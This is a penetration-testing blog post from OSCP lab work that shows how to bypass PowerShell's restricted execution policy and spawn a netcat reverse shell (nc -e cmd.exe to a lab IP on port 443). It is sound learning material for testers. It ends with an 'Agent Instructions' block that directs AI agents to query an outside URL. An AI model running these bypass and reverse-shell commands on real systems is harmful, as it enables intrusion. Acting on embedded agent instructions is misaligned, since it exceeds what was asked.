# Powershell For Penetration Testers Beating Restricted Policies

 May 23, 2020 | nanobyte

Recently, while I was going for my Offensive Security Certified Professional (OSCP) certificate, I ran into a machine in the labs which had a restricted PowerShell. Simply stated, I could not enter into an interactive PowerShell session or run any PowerShell commands or scripts. PowerShell has several execution policies which can be set on a system, and these execution policies determines which scripts can be run. By default, this is set to “restricted”. From Microsoft, restricted “doesn’t load configuration files or run scripts. The default execution policy Windows client computers.”

However, there is an execution policy which, as penetration testers, we want to have set. That execution policy is “bypass”, which Microsoft states “nothing is blocked and there are no warnings or prompts.” Luckily, I am able to set the execution policy when I call a PowerShell command, and can state that the PowerShell command needs to run with bypass as the policy. Now, even though the default restricted policy is set, our commands will still run. To run a PowerShell command with bypass:

```
1powershell -ExecutionPolicy Bypass -Command "whoami"
```

Or, for shorthand:

```
1powershell -exec bypass -c "whoami"
```

Now, even though the system is restricted, PowerShell can still be leveraged! Let’s build on this and take it another step further. When you enter a PowerShell session or run a command or script, you run it in the context of the current profile. I could check the PowerShell profile and see what is set. But by running commands without checking this first, I do not know what the profile contains. Alternatively, for best practices, I can supply the No Profile flag which will run my script without using any profile:

```
1powershell -ExecutionPolicy Bypass -NoProfile -Command "whoami"
```

Or, another shorthand:

```
1powershell -exec bypass -nop -c "whoami"
```

With this, I can run commands from a restricted PowerShell enviornment without any profile loading. We are almost at the end goal, to spawn a new process on the system. Luckily, PowerShell has the built in Start-Process cmdlet (command-let). A cmdlet is a lightweight command that can be used within a PowerShell enviornment. There is most likely a cmdlet for anything you wish to accomplish in PowerShell. In my case, I wanted to start netcat for a reverse shell.

Start-Process is a powerful cmdlet, and to better understand it visit [docs.microsoft](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/start-process?view=powershell-7). For my case, I needed to first define the program to spawn, followed by the arguments. Simply calling `Start-Process nc -e cmd.exe <IP> <PORT>` would fail here. To properly spawn this new process:

```
1powershell -exec bypass -nop -c "& {$prog='C:\\temp\\nc.exe'; $args='-e cmd.exe 192.168.119.129 443'; Start-Process $prog $args }"
```

Now, my command will call PowerShell with bypass as the execution policy, to run without any profile set, and run my Start-Process command, properly passing the $prog and $args variables. At this point, you might be asking, where did the ampersand come from? In PowerShell, the ampersand is a reserved character for a run call operator. This call operator is needed to force PowerShell to treat the text as a command and not a string, and execute it. For more information, please visit [ss64.com](https://ss64.com/ps/call.html).

And that is it, the above command will now spawn a new process, bypassing the restricted PowerShell execution policy to run my command!


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.ubg-hacking.team/blog-posts/powershell-for-penetration-testers-beating-restricted-policies.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.